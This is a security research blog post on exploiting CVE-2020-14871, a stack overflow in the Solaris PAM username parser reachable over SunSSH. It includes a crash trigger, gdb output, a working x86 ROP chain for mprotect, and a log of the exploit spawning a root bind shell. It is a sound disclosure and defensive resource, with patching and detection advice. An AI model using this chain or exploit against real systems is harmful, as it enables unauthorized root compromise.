Exploiting Solaris 10 -11.0 SunSSH via libpam on x86

13.11.2020 by

A recently disclosed vulnerability CVE-2020-14871 impacting Solaris-based distributions has been actively used in attacks against SunSSHD for over 6 years. The vulnerability was identified being exploited in the wild by an APT threat actor[0] then disclosed by FireEye after being detected during an attack. The issue is also referenced as CVE-2020-27678 by the Illumos project which similarly contained the vulnerable code making this issue impact a dozen additional Solaris-based distributions. This vulnerability is noteworthy as a number of separate individuals and groups identified this flaw after it was learned to have been circulating by exploit brokers since 6th October 2014. The issue first came to light during the HackingTeam breach incident, as emails showed that a private exploit broker firm “Vulnerabilities Brokerage International” emailed the company announcing they had a SunSSHD exploit for sale for a monthly license fee. An email snippet from the breach announcing the sale is shown below, and the attached product portfolio[1] gives sufficient information that allowed Hacker House to confirm this is the same flaw disclosed recently as the one sold since 2014. According to FireEye this issue was sold for $3,000 on an underground forum to the detected APT group, however quotes for this issue may have ranged anywhere from $25-$50,000 over the years prior to it’s disclosure.

“14-006 is a new memory corruption vulnerability in Oracle Solaris SunSSHD yielding remote privileged command execution as the root user. The provided exploit is a modified OpenSSH client making exploitation of this vulnerability very convenient.”

This blog post discusses Hacker House efforts to develop an exploit for the now publicly known flaw and how we exploited this issue against Solaris x86 targets. The vulnerability is also present on SPARC systems with exploits existing in the wild that support both architectures. The actual flaw exists within the core “Pluggable authentication module” library which can be reached remotely over SunSSH only when “keyboard-interactive” is enabled. This configuration is the default on a generic install of Solaris requiring no configuration changes to be exploitable, making this a critical issue (CVSS 10.0) that remotely impacts the OS out of the box. Let’s look at the vulnerability specifics first, by reviewing the parse_user_name() function within “pam_framework.c”. The code snippet below is taken prior to the patch applied to Illumos[2] (a fork of Solaris using an open-source base which also contained the vulnerable code). I have removed comments from this snippet for the purposes of brevity in this blog.

621 static int
622 parse_user_name(char *user_input, char **ret_username)
623 {
624 register char *ptr;
625 register int index = 0;
626 char username[PAM_MAX_RESP_SIZE];
629 *ret_username = NULL;
635 bzero((void *)username, PAM_MAX_RESP_SIZE);
640 ptr = user_input;
643 while ((*ptr == ' ') || (*ptr == '\t'))
644 ptr++;
646 if (*ptr == '\0') {
651 return (PAM_BUF_ERR);
652 }
658 while (*ptr != '\0') {
659 if ((*ptr == ' ') || (*ptr == '\t'))
660 break;
661 else {
662 username[index] = *ptr;
663 index++;
664 ptr++;
665 }
666 }
669 if ((*ret_username = malloc(index + 1)) == NULL)
670 return (PAM_BUF_ERR);
671 (void) strcpy(*ret_username, username);
672 return (PAM_SUCCESS);
673 }

The “username” buffer is a 512 byte array, defined by PAM_MAX_RESP_SIZE (from pam_appl.h) which is declared on the stack at the start of the function. This buffer is used to hold the username supplied to the parse_user_name() function when authentication via PAM is performed. The “user_input” argument supplied to this function is processed in a while loop beginning on line 658, this loop will skip over any whitespace or tab characters identified and on line 662 will write each byte of the user_input argument into the fixed-size username buffer. The vulnerability exists because this function does not check for the bounds of the username stack array, and thus it is possible to write past the boundary of the buffer by supplying a user_input argument to this function with a length greater than 512 bytes. This is a classic example of “stack-smashing” and allows the attacker to corrupt the stack frame, overwriting important variables such as pointers used as return addresses by the currently executing function. Now we have learned the vulnerability specifics, we can identify ways to trigger the issue by looking for code using the parse_user_name() function.

When using SunSSH with “keyboard-interactive” authentication enabled in the configuration (a standard default unless changed), SunSSH will make use of the “authtok_get” PAM module to prompt for a username and password. The PAM module will use pam_sm_authenticate() using the supplied username, which calls pam_get_user() and ultimately provides our username into the parse_user_name() function directly. The “keyboard-interactive” configuration option in SunSSH has been available since Solaris 9, however versions of SunSSH that shipped with Solaris 9 did not actually implement “keyboard-interactive” making this issue only applicable via SunSSH to Solaris 10 and 11. Further to this, since 11.1 changes to the Solaris code base still contained the vulnerability, however, usernames are now truncated before reaching the vulnerable code path preventing the overflow from occurring via SunSSH. To trigger the PAM authentication prompts, we can simply supply a blank or empty username over SSH and pass a username greater than 512 bytes, causing the stack frame to be corrupted and the remote SunSSH process to core dump on the target. An example of triggering this issue using the standard OpenSSH client is shown below.

% ssh -l ""
Please enter user name: brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Connection closed by port 22

We will now demonstrate how to exploit this issue on a vulnerable Solaris 10 host using latest available Solaris 10 install media[3] which does not include the fix. We added several package utilities such as “gdb” onto our host to assist with exploitation, additionally you may find that enabling “debug” for PAM modules by editing the “other” modules settings in /etc/pam.conf will help identify the issue within syslog. On a default install, core dumps are not enabled in any meaningful way and you should enable them using “coreadm” if you want to review core files. We will trigger the vulnerability by sending 512 bytes and an additional 8 bytes which will be overwritten on the stack. We used libssh2 to create our SSH connections to our target and send the characters to the username prompt which will be used in the overflow. You could also use Python’s paramiko, other SSH libraries or write a patch for the OpenSSH client to achieve the same goal.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r $eip $ebp
eip 0x42424242 0x42424242
ebp 0x41414141 0x41414141

As can be seen, the variables directly after the username buffer on the stack include the base pointer and instruction pointer (although slightly different on Solaris 11, the EIP is still overwritten) making this a trivial to exploit vulnerability on x86. SPARC systems require additional work to obtain control of the program counter as the crash occurs during a memory write operation. Additionally, if we supply more characters into the overflow we notice that the program will crash in an earlier function, as we corrupt the stack frame and overwrite a pointer used in a memory write operation before returning into our return address.

Program received signal SIGSEGV, Segmentation fault.
0xfee91c01 in ?? ()
(gdb) x/i $eip
=> 0xfee91c01: mov %eax,(%ecx)
(gdb) i r $ecx
ecx 0x72727272 1920103026

Our exploit must ensure that we handle this issue by supplying an address that can be written before we return into our shellcode (16 bytes into the overflow on 10) to prevent the application crashing. We can review the process memory address space using the “info proc mappings” command in gdb, shortened here for brevity, which allows us to check the mapped addresses and their protections.

Mapped address spaces:

Start Addr End Addr Size Offset Flags
0x8041000 0x8047fff 0x7000 0xffffa000 -s--rw-
0x8050000 0x8098fff 0x49000 0 ----r-x
0x80a9000 0x80abfff 0x3000 0x49000 ----rw-
0x80ac000 0x80cdfff 0x22000 0 --b-rw-

On Solaris 10 x86 the stack is mapped at 0x8041000 with a size of 0x7000 bytes (0x08040000 and 0x8000 bytes on Solaris 11) without the executable flag. ASLR is not enabled for userspace applications on vulnerable versions of Solaris (it was only introduced in Solaris 11.1) which means our stack is always located at the same address and subsequently so too is our username buffer. We can pack our shellcode into the username buffer but we must first enable the executable flag on the stack. We can use the mprotect() system call to remap the stack page as executable before we execute any code placed here. We use a technique known as return oriented programming (ROP) which builds gadgets that make use of the “ret” instruction and our supplied stack frame to programmatically execute instructions through a chain of returning functions. This technique will allow us to execute code which we will use to call the mprotect() function. We can identify which library files are mapped to which address using the “pmap” command and then use utilities such as ROPgadget[4] to search mapped binaries for instructions to use followed by a “ret” instruction. On Solaris, the mprotect syscall number is 0x74 and the interrupt service routine used by syscalls is 0x91. Our ROPchain should then perform instructions similar to the following which can be tested using gdb.

movl $0x74,%eax // mprotect syscall
pushl $0x7000 // size
pushl $0x08041000 // pointer to page to map
pushl $0x0 // unused
int $0x91 // execute the system call

By searching through library files and the process binary we can build a ROPchain that calls mprotect and execute it via the “sysenter” function. We can then return into the stack where our shellcode is stored on an executable page and run arbitrary payloads. The mprotect system call on Solaris will accept lengths and protection variables that are somewhat incorrect providing they loosely match the needed values (prot LSB must be 0x07 and len MSB must 0x08 & below), the function will return an error in such instances but the memory pages protections will still have been changed. We can check how our system call is being executed using the “truss” utility to trace the sshd process once we supply our ROP chain. We also used a helper function to remap the stack in situations when only part of the stack page could be mapped using the variables available in the process memory, although this is not essential in many cases. The mprotect function still requires the address to be page aligned which means we must ensure that we do not use a NULL byte when supplying variables such as 0x08043000 to the system call. An example ROP chain for Solaris 10 is shown here. We make use of variables already found within the program to call the mprotect() function, we write our stack address into this buffer and then enable the execution protections on the stack. The chain will then return into the stack buffer where our supplied shellcode is ready to be executed.

"\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret
"\x29\x28\x07\x08" // pop %ebx ; ret
"\xf0\xff\xaf\xfe" // unused gadget, passed to prevent %ecx crashing
"\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret
"\x01\x30\x04\x08" // %edx pointer to page
"\xb8\x31\x04\x08" // unused %ebp value
"\xaa\x4c\x68\xfe" // pop %ecx ; ret
"\xe0\x6e\x04\x08" // ptr (0x?,0x0,0x1000,0x7)
"\x61\x22\x07\x08" // dec %edx ; ret
"\x8b\x2d\xfe\xfe" // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret
"\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret
"\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret
"\xc3\x31\x04\x08" // shellcode addr for %edx
"\xc3\x31\x04\x08" // unused %ebp value
"\xf6\x0d\xf4\xfe" // sysenter, (ret into shellcode via %edx)

You can download an exploit for this issue from our github[5], at the time of writing we include ROP chains for multiple versions of Solaris 10 through 11.0 on x86. As an example shellcode we have used bind shell payloads generated with “msfvenom” that can be used on Solaris 10 targets, however on Solaris 11.0 the execve() system call has changed to execvex() which needs additional arguments and there are no public shellcodes that will work directly on 11.0 targets. To solve this issue, we have also included an example execve() shellcode for such systems for demonstration purposes (which may change in the future). As we continue to research this issue and its exploitability on different architectures and Operating Systems (such as SmartOS, OpenIndiana, OmniOS & other Illumos based distributions), we will likely continue to update our exploit, check our github for the latest available version. It is strongly advised that both “password” and “keyboard-interactive” methods of authentication are disabled on impacted SSH services. As this vulnerability exists in the core PAM framework, it is highly likely other exploitable scenarios exist other than via SSH services and it is strongly advised that a fix is applied as a matter of priority to any impacted hosts. Solaris systems are typically used in mission critical environments and utilizing Shodan[6], we can see that potentially 3,200 hosts on network perimeters maybe impacted by this flaw. As Solaris is frequently used within internal networks the actual number of vulnerable systems is believed to be much higher and Hacker House advises that all system owners address this issue as a matter of priority. Impacted hosts should also be reviewed to identify core files and syslog entries which may indicate the presence of a previously performed attack as the issue has known to be exploited in the wild for at least 6 years and your systems may already have been compromised. An example of our exploit being used in a successful attack can be seen here.

$ ./hfsunsshdx -s -t 2 -x 1
[+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
[-] chosen target 'Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86'
[-] using shellcode 'Solaris x86 bindshell tcp port 8080' 196 bytes
[+] ssh host fingerprint: e4e0f371515d0d0be6767b0c628e1b8891f18d1f
[+] entering keyboard-interactive authentication.
[-] number of prompts: 1
[-] prompt 0 from server: 'Please enter user name: '
[-] shellcode length 196 bytes
[-] rop chain length 64
[-] exploit buffer length 576
[-] sending exploit magic buffer... wait
[+] exploit success, handling payload...
[-] connected.. enjoy :)
SunOS unknown 5.10 Generic_147148-26 i86pc i386 i86pc
12:20pm up 1 day(s), 18:40, 1 user, load average: 0.03, 0.03, 0.03
helpdesk pts/2 Nov 13 10:27 (unknown)
uid=0(root) gid=0(root)

  • References
  • [0] Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945
    [1] Assets Portfolio Update: 2014-10-06 attachment “Assets_Portfolio.pdf.zip”
    [2] Vulnerable “pam_framework.c
    [3] sol-10-u11-ga-x86-dvd.iso download
    [4] ROPgadget tool
    [5] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871 
    [6] Shodan SunSSH search